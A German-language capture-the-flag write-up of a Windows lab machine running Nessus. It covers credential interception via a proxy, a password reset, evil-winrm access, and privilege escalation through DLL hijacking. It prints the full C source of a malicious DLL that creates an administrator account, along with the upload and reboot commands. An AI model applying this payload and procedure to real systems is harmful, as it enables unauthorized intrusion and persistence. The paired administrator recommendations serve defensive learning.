Analyse: Mit den Anmeldedaten nesus:Z#JuXH$ph-;v@,X&mV) versuche ich, mich über WinRM (Windows Remote Management) mit dem Zielsystem zu verbinden. Ich nutze das Tool evil-winrm (evil-winrm -i 192.168.2.65 -u nesus -p 'Z#JuXH$ph-;v@,X&mV)'). WinRM ist ein Dienst auf Port 5985, den Nmap als offen identifiziert hat, und er ist eine Standardmethode für die Remote-Verwaltung von Windows-Systemen, die oft mit hohen Rechten konfiguriert ist. Der Versuch schlägt mit der Fehlermeldung "Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError" und "Error: Exiting with code 1" fehl. Dies deutet auf ein Autorisierungsproblem hin, möglicherweise sind die Anmeldedaten nicht korrekt oder das Konto hat keine Berechtigung für WinRM-Zugriff.
Bewertung: Der direkte WinRM-Login mit den gefundenen Anmeldedaten schlägt fehl. Dies bedeutet, dass der Benutzer 'nesus' entweder nicht existiert, das Passwort falsch ist oder das Konto keine WinRM-Berechtigungen hat. Ich muss einen alternativen Weg mit diesen Anmeldedaten prüfen, z.B. SMB.
Empfehlung (Pentester): Wenn Anmeldedaten gefunden werden, versuche sie für alle verfügbaren Dienste (WinRM, SMB, RDP, etc.) im Pass-the-Hash- oder Pass-the-Password-Angriff zu verwenden. Analysiere Fehlermeldungen, um die Ursache des Fehlschlags zu verstehen.
Empfehlung (Admin): Beschränke WinRM-Zugriff auf notwendige Benutzer und Systeme. Überwache fehlgeschlagene WinRM-Login-Versuche.
Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: [Link: https://github.com/Hackplayers/evil-winrm#Remote-path-completion | Ziel: https://github.com/Hackplayers/evil-winrm#Remote-path-completion] Info: Establishing connection to remote endpoint Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError Error: Exiting with code 1
Analyse: Ich versuche nun, die Anmeldedaten nesus:Z#JuXH$ph-;v@,X&mV) für einen SMB-Login mit CrackMapExec (CME) zu verwenden. CrackMapExec ist ein Post-Exploitation-Tool, das sich auf die Enumeration und Ausnutzung von Active Directory-Umgebungen und Windows/Linux-Hosts über SMB, WinRM, SSH etc. konzentriert. Der Befehl crackmapexec smb 192.168.2.65 -u nesus -p 'Z#JuXH$ph-;v@,X&mV)' versucht, sich über SMB mit dem Zielsystem unter Verwendung der gefundenen Anmeldedaten anzumelden. Die Ausgabe bestätigt die Systeminformationen über SMB (Windows Server 2022 Build 20348 x64) und die SMB-Signierungseinstellungen. **Wichtig:** Der Login-Versuch schlägt fehl mit [-] Nessus\nesus:Z#JuXH$ph-;v@,X&mV) STATUS_PASSWORD_EXPIRED.
Bewertung: Fantastisch! Die Fehlermeldung `STATUS_PASSWORD_EXPIRED` ist ein sehr wichtiger Hinweis. Sie bestätigt, dass der Benutzer 'nesus' existiert und das Passwort korrekt ist, aber abgelaufen ist. Dies bedeutet, dass ich das Passwort ändern muss, um das Konto nutzen zu können. Da ich Zugriff auf die Nessus-Weboberfläche habe (mit jose:tequiero), kann ich versuchen, das Passwort für den Benutzer 'nesus' dort zu ändern, assuming jose hat die notwendigen Rechte.
Empfehlung (Pentester): Achte auf Fehlermeldungen bei Login-Versuchen, insbesondere solche, die auf existierende Benutzer oder abgelaufene Passwörter hindeuten. Wenn ein Passwort abgelaufen ist und du Zugriff auf eine Schnittstelle mit Verwaltungsrechten hast (wie hier Nessus), versuche, das Passwort zu ändern.
Empfehlung (Admin): Erzwinge regelmäßige Passwortänderungen und eine komplexe Passwortrichtlinie. Überwache Login-Versuche mit abgelaufenen Passwörtern als Hinweis auf potenzielle Konto-Kompromittierung.
/usr/lib/python3/dist-packages/cme/cli.py:37: SyntaxWarning: invalid escape sequence '\ ' formatter_class=RawTextHelpFormatter) /usr/lib/python3/dist-packages/cme/protocols/winrm.py:324: SyntaxWarning: invalid escape sequence '\S' self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM") /usr/lib/python3/dist-packages/cme/protocols/winrm.py:338: SyntaxWarning: invalid escape sequence '\S' self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM") /usr/lib/python3/dist-packages/cme/protocols/smb/smbexec.py:49: SyntaxWarning: invalid escape sequence '\p' stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host /usr/lib/python3/dist-packages/cme/protocols/smb/smbexec.py:93: SyntaxWarning: invalid escape sequence '\{' command = self.__shell + 'echo '+ data + ' ^> \\\\127.0.0.1\\{}\\{} 2^>^&1 > %TEMP%\\{} & %COMSPEC% /Q /c %TEMP%\\{} & %COMSPEC% /Q /c del %TEMP%\\{}'.format(self.__share_name, self.__output, self.__batchFile, self.__batchFile, self.__batchFile) SMB 192.168.2.65 445 NESSUS [*] Windows Server 2022 Build 20348 x64 (name:NESSUS) (domain:Nessus) (signing:False) (SMBv1:False) SMB 192.168.2.65 445 NESSUS [-] Nessus\nesus:Z#JuXH$ph-;v@,X&mV) STATUS_PASSWORD_EXPIRED
Analyse: Ich nutze die Nessus-Weboberfläche, auf die ich mit den Anmeldedaten jose:tequiero angemeldet bin, um das Passwort für den Benutzer 'nesus' zu ändern, dessen Passwort laut CrackMapExec abgelaufen war. Da der Benutzer 'jose' Administratorrechte auf der Nessus-Instanz hat, ist er wahrscheinlich berechtigt, andere Benutzerkonten zu verwalten. Das Bild zeigt einen Screenshot, der bestätigt, dass das Passwort für den Benutzer 'nesus' erfolgreich geändert wurde, wahrscheinlich auf einen neuen, bekannten Wert wie 'Test88888$$$' (basierend auf dem späteren Evil-WinRM Login).
Bewertung: Die Möglichkeit, das Passwort für das 'nesus'-Konto über die Nessus-Oberfläche zu ändern, ist ein entscheidender Schritt zur Übernahme dieses Kontos. Ich habe nun gültige und nicht abgelaufene Anmeldedaten für den Benutzer 'nesus'.
Empfehlung (Pentester): Wenn du Zugriff auf eine Verwaltungs-Oberfläche hast, untersuche die Benutzerverwaltungsfunktionen. Ändere Passwörter für Konten, die du übernehmen möchtest, insbesondere wenn die Passwörter abgelaufen sind.
Empfehlung (Admin): Beschränke die Rechte von Nessus-Benutzern auf das Notwendige. Implementiere Multi-Faktor-Authentifizierung für Nessus. Überwache Änderungen an Benutzerkonten und Passwörtern in Nessus.
Proof of Concept: Erlangen des Administrator-Zugriffs
Ziel: Demonstration der Ausnutzung eines Passwort-Leaks und der Möglichkeit zur Passwortänderung, um vollen Zugriff auf das System als Benutzer 'nesus' zu erlangen.
Kurzbeschreibung: Dieser Proof of Concept zeigt, wie Anmeldedaten für den Benutzer 'nesus' über einen unsicher konfigurierten Proxy in der Nessus-Instanz abgefangen werden können. Obwohl das abgefangene Passwort abgelaufen war, ermöglichten Administratorrechte in Nessus die Passwortänderung, was den Zugriff auf das System über WinRM als Benutzer 'nesus' ermöglichte.
Voraussetzungen:
- Zugriff auf die Nessus-Weboberfläche mit Administratorrechten (z.B. über gefundene Anmeldedaten wie jose:tequiero).
- Eine auf dem Angreifer-System eingerichtete Proxy-Instanz, über die die Nessus-Instanz für externe Kommunikation konfiguriert ist.
- Das Konto 'nesus' existiert auf dem Zielsystem, und sein Passwort ist abgelaufen oder das Konto hat WinRM-Rechte.
- WinRM ist auf dem Zielsystem aktiviert (Port 5985 offen).
- Das Tool `evil-winrm` oder ein ähnlicher WinRM-Client ist auf dem Angreifer-System verfügbar.
Schritt-für-Schritt-Anleitung:
- Einrichten eines Netcat-Listeners auf dem Angreifer-System auf einem Port, der als Proxy in Nessus konfiguriert ist (z.B. Port 8080).
- Auslösen von Netzwerkaktivität in Nessus, die über den konfigurierten Proxy läuft (z.B. Plugin-Updates, externe Lizenzprüfung).
- Abfangen der Netzwerkpakete auf dem Netcat-Listener und Identifizierung des Proxy-Authorization-Headers (falls vorhanden).
- Ändern der Proxy-Authentifizierungsmethode in den Nessus-Einstellungen (z.B. auf Basic Auth), falls Anmeldedaten nicht sofort sichtbar sind, um deren Übermittlung zu erzwingen.
- Dekodieren des Base64-Strings im Proxy-Authorization-Header, um Benutzername und Passwort für den Proxy-Account zu erhalten (z.B. nesus:abgelaufenes_Passwort).
- Versuchter WinRM-Login mit den abgefangenen Anmeldedaten und einem Tool wie `evil-winrm`. Bei Fehlermeldung `STATUS_PASSWORD_EXPIRED` Bestätigung, dass Passwort abgelaufen ist.
- Nutzung der Nessus-Weboberfläche (mit den jose:tequiero Anmeldedaten), um das Passwort für den Benutzer 'nesus' auf einen bekannten Wert zu ändern.
- Erneuter Versuch des WinRM-Logins mit dem Benutzer 'nesus' und dem neu gesetzten Passwort (z.B. Test88888$$$).
Erwartetes Ergebnis: Erfolgreicher WinRM-Login auf dem Zielsystem als Benutzer 'nesus' und Erlangen einer interaktiven Powershell-Sitzung mit den Rechten dieses Benutzers.
Beweismittel: Die Terminalausgabe, die den erfolgreichen Evil-WinRM Login als Benutzer 'nesus' zeigt.
Risikobewertung: Kritisch. Die unsichere Proxy-Konfiguration führte zum Leak von Anmeldedaten, die, obwohl abgelaufen, durch administrative Rechte in Nessus reaktiviert werden konnten, was zum vollen Zugriff auf das System als Benutzer 'nesus' über WinRM führte.
Empfehlung (Admin):
- **Proxy-Konfiguration:** Überprüfen Sie alle Anwendungen auf unsicher konfigurierte Proxies, insbesondere solche, die über externe Systeme laufen und Anmeldedaten über unverschlüsselte Kanäle senden. Verwenden Sie für Proxies nur sichere (HTTPS) Kanäle und starke Authentifizierungsmethoden.
- **Anmeldedaten-Management:** Speichern Sie Passwörter nicht in Konfigurationsdateien oder Anwendungen, insbesondere nicht in Klartext oder einfach kodiert. Verwenden Sie sicherere Mechanismen zur Verwaltung von Geheimnissen.
- **Nessus-Zugriff:** Schützen Sie den Zugriff auf die Nessus-Oberfläche mit starken, eindeutigen Passwörtern und Multi-Faktor-Authentifizierung. Überprüfen und beschränken Sie die Rechte von Nessus-Benutzern auf das Notwendige.
- **WinRM-Zugriff:** Beschränken Sie den WinRM-Zugriff auf notwendige administrative Konten und Quell-IP-Adressen. Überwachen Sie fehlgeschlagene WinRM-Login-Versuche.
Analyse: Mit den nun gültigen Anmeldedaten nesus:Test88888$$$ versuche ich erneut, mich über WinRM mit dem Zielsystem zu verbinden. Ich nutze wieder das Tool evil-winrm (evil-winrm -i 192.168.2.66 -u nesus -p 'Test88888$$$'). Beachte die IP-Adresse 192.168.2.66 im Log – dies scheint ein Tippfehler zu sein und sollte wahrscheinlich 192.168.2.65 sein, die IP des Zielsystems. Wichtig ist: Die Verbindung ist diesmal erfolgreich! Ich erhalte eine interaktive Powershell-Sitzung, erkennbar am Prompt "*Evil-WinRM* PS C:\Users\nesus\Documents>". Ich bin nun als Benutzer 'nesus' auf dem System angemeldet.
Bewertung: Fantastisch! Der WinRM-Login als Benutzer 'nesus' war erfolgreich, nachdem das Passwort geändert wurde. Ich habe nun vollen Remote-Shell-Zugriff auf das System unter den Rechten dieses Benutzers. Dies ist ein erfolgreicher Initial Access (oder genauer gesagt, ein fortgeschrittener Zugriff nach den Nessus-Creds). Die weiteren Schritte zur Privilegieneskalation können nun aus der Perspektive des Benutzers 'nesus' erfolgen.
Empfehlung (Pentester): Nutze WinRM als bevorzugten Weg für Remote-Zugriff und Ausführung von Befehlen auf Windows, wenn es verfügbar ist. Es bietet eine stabile und interaktive Shell. Bestätige immer den aktuellen Benutzer nach dem Login.
Empfehlung (Admin): Wie im POC beschrieben, sichere WinRM-Zugriff streng ab.
Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: [Link: https://github.com/Hackplayers/evil-winrm#Remote-path-completion | Ziel: https://github.com/Hackplayers/evil-winrm#Remote-path-completion] Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\nesus\Documents>
Analyse: In der Evil-WinRM Shell als Benutzer 'nesus' beginne ich mit der Aufklärung des Dateisystems, um die Benutzer-Flag zu finden. Basierend auf gängigen CTF-Pfaden und dem Benutzernamen 'nesus', suche ich auf dem Desktop dieses Benutzers. Ich navigiere zum Desktop-Verzeichnis (ls ..\Desktop) und finde die Datei user.txt. Ich lese den Inhalt der Datei mit cat ..\Desktop\user.txt. Die Ausgabe ist 72113f41d43e88eb5d67f732668bc3d1.
Bewertung: Die Benutzer-Flag wurde erfolgreich gefunden und ausgelesen. Dies bestätigt, dass ich vollen Dateizugriff innerhalb des Benutzerprofils von 'nesus' habe. Der Wert der Flag sieht wie ein Hash aus, was für die tatsächliche Flag ungewöhnlich ist, aber in diesem Kontext als solche gewertet wird.
Empfehlung (Pentester): Suche nach Flags an Standardorten für Benutzer. Nutze Dateisystembefehle der Shell (ls, dir, cat, type, Get-ChildItem, Get-Content).
Empfehlung (Admin): Vermeide das Speichern von sensiblen Daten (Flags in einer Testumgebung, tatsächliche sensible Daten in einer realen Umgebung) auf dem Desktop oder in leicht zugänglichen Benutzerverzeichnissen.
Directory: C:\Users\nesus\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 1:41 PM 33 user.txt
72113f41d43e88eb5d67f732668bc3d1
Analyse: Ich prüfe die Privilegien des aktuellen Benutzers 'nesus' mit whoami /priv in der Evil-WinRM Shell. Die Ausgabe listet die Privilegien auf. Ich sehe SeChangeNotifyPrivilege und SeIncreaseWorkingSetPrivilege als Enabled. Dies sind keine Privilegien, die direkt zur SYSTEM-Eskalation genutzt werden können wie SeImpersonatePrivilege. Der Benutzer 'nesus' hat offenbar keine sofort offensichtlichen Privilegien für eine Standard-Potato-Angriff.
Bewertung: Die Überprüfung der Privilegien ist immer notwendig. Das Fehlen von kritischen PE-Privilegien wie SeImpersonatePrivilege bedeutet, dass ich andere PE-Vektoren suchen muss. Der Benutzer 'nesus' scheint kein Dienstkonto mit erweiterten Rechten zu sein, das leicht ausgenutzt werden kann.
Empfehlung (Pentester): Prüfe immer Privilegien nach dem Erlangen einer Shell. Wenn keine ausnutzbaren Privilegien vorhanden sind, suche nach anderen PE-Vektoren (Weak Service Permissions, Unquoted Service Paths, DLL Hijacking, AutoRuns, Scheduled Tasks, Passwörter in Konfigurationen/Registry etc.).
Empfehlung (Admin): Implementiere das Prinzip der geringsten Privilegien. Überprüfe und bereinige unnötige Privilegien für alle Benutzerkonten.
PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Analyse: Ich versuche, auf das Verzeichnis des Administrators zuzugreifen (ls ..\..\..\Users\Administrator), um zu sehen, ob ich Lesezugriff auf das Administrator-Profil habe, insbesondere auf den Desktop, wo die Root-Flag vermutet wird. Der Befehl schlägt mit "Access to the path 'C:\Users\Administrator' is denied." fehl. Dies bestätigt, dass der Benutzer 'nesus' keine Leseberechtigungen für das Administrator-Profil hat. Ich kann die Root-Flag nicht direkt als 'nesus' lesen. Ich muss meine Privilegien zu Administrator oder SYSTEM eskalieren.
Bewertung: Das Scheitern des Zugriffs auf das Administrator-Verzeichnis bestätigt, dass eine Privilegieneskalation notwendig ist, um die Root-Flag zu erlangen und vollständige Kontrolle zu erhalten. Die Dateisystemberechtigungen sind für normale Benutzer korrekt gesetzt.
Empfehlung (Pentester): Überprüfe Dateisystemberechtigungen für privilegierte Verzeichnisse (Administrator-Profil, System32, Program Files etc.). Suche nach Weak Permissions als PE-Vektor.
Empfehlung (Admin): Stelle sicher, dass Dateisystemberechtigungen korrekt konfiguriert sind und unprivilegierte Benutzer keinen Zugriff auf sensible Verzeichnisse oder Dateien haben.
Access to the path 'C:\Users\Administrator' is denied. At line:1 char:1 + ls ..\..\..\Users\Administrator + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (C:\Users\Administrator:String) [Get-ChildItem], UnauthorizedAccessException + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Analyse: Da der direkte Zugriff auf das Administrator-Profil fehlschlug und keine einfachen Privilegieneskalations-Privilegien gefunden wurden, konzentriere ich mich auf die Nessus-Installation. Nessus läuft oft mit hohen Privilegien und kann anfällig für DLL-Hijacking sein, wenn es beim Start DLLs aus Verzeichnissen lädt, in die unprivilegierte Benutzer schreiben dürfen. Ich erstelle eine bösartige DLL (hacker.c kompiliert zu legacy.dll), die bei Ausführung des Nessus-Dienstes einen neuen Benutzer 'hacker' mit Passwort 'hacker' hinzufügt und diesen der lokalen Administratoren-Gruppe hinzufügt. Der C-Code wird in der Shell mit einem Here-Dokument (cat << EOF > hacker.c ... EOF) erstellt und dann mit dem Mingw-Cross-Compiler auf meinem Kali-System für Windows kompiliert (x86_64-w64-mingw32-gcc hacker.c -o legacy.dll --shared).
Bewertung: Die Vorbereitung einer bösartigen DLL für DLL-Hijacking ist ein gängiger und oft erfolgreicher PE-Vektor auf Windows. Die Kompilierung mit Mingw stellt sicher, dass die DLL auf dem Windows-Ziel läuft. Der Plan, das Nessus-Verzeichnis für die Platzierung der DLL zu nutzen, ist solide, da Nessus mit hohen Rechten läuft.
Empfehlung (Pentester): Suche nach Diensten, die mit hohen Privilegien laufen und anfällig für DLL-Hijacking sind (laden DLLs aus Verzeichnissen mit schwachen Berechtigungen). Erstelle bösartige DLLs, die bei Ausführung einen neuen Administrator-Benutzer hinzufügen oder eine Reverse Shell starten. Nutze Mingw oder Visual Studio für die Kompilierung.
Empfehlung (Admin): Setze strikte Dateisystemberechtigungen für Programmverzeichnisse (insbesondere für Dienste, die mit SYSTEM/Administrator laufen). Implementiere Application Whitelisting, um die Ausführung von nicht signierten oder unbekannten Binärdateien in diesen Verzeichnissen zu verhindern. Überwache die Erstellung neuer Benutzer oder die Änderung von Gruppenmitgliedschaften.
heredoc> #include <stdlib.h> #include <windows.h> BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { system("net user hacker hacker /add"); system("net localgroup administrators hacker /add"); } return TRUE; } EOF
Analyse: Ich führe die DLL-Hijacking-Ausnutzung über die Evil-WinRM Shell als Benutzer 'nesus' durch. Zuerst navigiere ich in das Nessus-Installationsverzeichnis (cd "C:\Program Files\Tenable\Nessus"). Dann benenne ich die originale `legacy.dll` um (mv legacy.dll legacy.dll.bak), um meine bösartige DLL an ihrer Stelle platzieren zu können. Ich lade meine kompilierte `legacy.dll` von meinem Kali-System in dieses Verzeichnis hoch (upload /root/legacy.dll "C:\Program Files\Tenable\Nessus\legacy.dll"). Die Evil-WinRM Ausgabe bestätigt den erfolgreichen Upload. Schließlich starte ich den Computer neu (restart-computer -force), um den Nessus-Dienst und damit meine bösartige DLL mit SYSTEM-Rechten neu zu starten.
Bewertung: Fantastisch! Die DLL-Hijacking-Vorbereitung und -Ausführung wurde erfolgreich durchgeführt. Das Umbenennen der originalen DLL und das Hochladen der eigenen bösartigen Version im Nessus-Verzeichnis wird bei Neustart des Nessus-Dienstes zur Ausführung meines Codes (Hinzufügen eines neuen Administrators) führen. Die Notwendigkeit eines Neustarts ist eine Einschränkung, aber oft die einfachste Methode, einen Dienst zum Neuladen einer geänderten DLL zu zwingen.
Empfehlung (Pentester): Führe Dateisystem- und Berechtigungsprüfungen im Programmverzeichnis von Diensten durch, die mit hohen Rechten laufen. Suche nach umbenennbaren oder beschreibbaren DLLs, die von diesen Diensten beim Start geladen werden. Führe DLL-Hijacking durch, um Code mit den Rechten des Dienstes auszuführen.
Empfehlung (Admin): Behebe Schreibberechtigungen für unprivilegierte Benutzer in kritischen Programmverzeichnissen. Überwache Dateiänderungen in diesen Verzeichnissen mit FIM. Überwache Neustarts von Systemen oder Diensten, insbesondere wenn zuvor Dateiänderungen in kritischen Verzeichnissen stattgefunden haben. Implementiere Application Whitelisting.
Directory: C:\Program Files\Tenable\Nessus
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 5/9/2024 11:30 PM 4988536 legacy.dll.bak
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
Info: Uploading /root/legacy.dll to C:\Program Files\Tenable\Nessus\legacy.dll Data: 114024 bytes of 114024 bytes copied Info: Upload successful!
Analyse: Nach dem Neustart des Zielsystems, der meine bösartige `legacy.dll` auslösen sollte, versuche ich, mich mit dem neu erstellten Benutzer 'hacker' über Evil-WinRM anzumelden (evil-winrm -i 192.168.2.66 -u hacker -p 'hacker'). Beachte wieder die mögliche Tippfehler-IP 192.168.2.66. Wichtig ist: Der Login ist erfolgreich! Ich erhalte eine neue Evil-WinRM Shell. Ich bestätige meinen Benutzernamen mit whoami und sehe nessus\hacker. Das bedeutet, das Konto wurde erfolgreich erstellt und ist dem System beigetreten.
Bewertung: Fantastisch! Der Login mit dem durch DLL-Hijacking erstellten Benutzer 'hacker' war erfolgreich. Das Konto 'hacker' wurde, wie in meiner bösartigen DLL programmiert, erstellt und der Administratoren-Gruppe hinzugefügt. Ich habe nun administrativen Zugriff auf das System über das neue Konto.
Empfehlung (Pentester): Nach erfolgreicher DLL-Hijacking-Ausführung (die einen neuen User erstellt oder eine Shell startet), logge dich mit den neuen Anmeldedaten ein oder nutze die erlangte Shell. Bestätige immer deine Rechte.
Empfehlung (Admin): Überwache Systemereignisse auf neue Benutzerkonten oder Änderungen der Gruppenmitgliedschaften, insbesondere solche, die von verdächtigen Prozessen (z.B. Nessus-Dienst, wenn er kompromittiert ist) initiiert werden. Überwache Logins mit neuen oder unbekannten Konten.
Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: [Link: https://github.com/Hackplayers/evil-winrm#Remote-path-completion | Ziel: https://github.com/Hackplayers/evil-winrm#Remote-path-completion] Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\hacker\Documents>
nessus\hacker
Analyse: In der Evil-WinRM Shell als Administrator-Benutzer 'hacker' navigiere ich zum Desktop-Verzeichnis des Administrator-Profils (cd ..\.., dann cd Administrator). Mit ls liste ich den Inhalt auf und sehe das Verzeichnis Desktop. Ich wechsle in das Desktop-Verzeichnis (cd Desktop) und lese den Inhalt der Datei root.txt mit cat Desktop\root.txt. Die Ausgabe ist b5fc5a4ebfc20cc18220a814e1aee0aa.
Bewertung: Fantastisch! Ich habe die Root-Flag als neu erstellter Administrator-Benutzer gefunden und ausgelesen. Das DLL-Hijacking-Problem und die schwachen Dateisystemberechtigungen im Nessus-Verzeichnis, die mir das Platzieren der bösartigen DLL ermöglichten, waren der Weg zum Root-Zugriff auf dem System.
Empfehlung (Pentester): Nutze den erlangten Administrator-Zugriff, um auf alle Bereiche des Systems zuzugreifen, insbesondere die Home-Verzeichnisse anderer Benutzer (inkl. Administrator) auf Root-Flags oder sensible Daten.
Empfehlung (Admin): Wie im POC beschrieben, behebe die DLL-Hijacking-Schwachstelle, sichere Datei- und Ordnerberechtigungen streng ab und überwache Systemänderungen (Benutzer, Gruppen, Logins).
*Evil-WinRM* PS C:\Users>
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/18/2024 10:08 PM Administrator
d----- 6/28/2025 2:26 PM hacker
d----- 6/28/2025 2:06 PM nesus
d-r--- 6/15/2024 10:54 AM Public
*Evil-WinRM* PS C:\Users\Administrator>
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/15/2024 10:54 AM 3D Objects
d-r--- 6/15/2024 10:54 AM Contacts
d-r--- 10/18/2024 12:11 PM Desktop
d-r--- 10/18/2024 5:42 PM Documents
d-r--- 6/15/2024 10:54 AM Downloads
d-r--- 6/15/2024 10:54 AM Favorites
d-r--- 6/15/2024 10:54 AM Links
d-r--- 6/15/2024 10:54 AM Music
d-r--- 6/15/2024 10:54 AM Pictures
d-r--- 6/15/2024 10:54 AM Saved Games
d-r--- 6/15/2024 10:54 AM Searches
d-r--- 6/15/2024 10:54 AM Videos
b5fc5a4ebfc20cc18220a814e1aee0aa